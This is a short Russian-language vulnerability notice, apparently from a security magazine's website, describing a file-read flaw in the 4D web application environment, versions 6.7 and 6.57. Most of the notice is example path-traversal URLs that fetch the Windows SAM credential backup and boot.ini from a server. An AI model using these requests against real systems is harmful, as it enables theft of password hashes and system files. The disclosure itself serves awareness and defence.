Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
4D – среда для разработки Web-приложений.
Уязвимость позволяет читать файлы на
компьютере.
Уязвимые системы:
4D version 6.7
4D version 6.57
Пример:
http://host/4DBin/_/C:/winnt/repair/sam._
http://host/4DBin/_/../winnt/repair/sam._
http://host/4DBin/_/C:/inetpub/../boot.ini
http://host/4DBin/_/../boot.ini
http://host/4DBin/_/../inetpub/../boot.ini
Сайт защищен Qrator —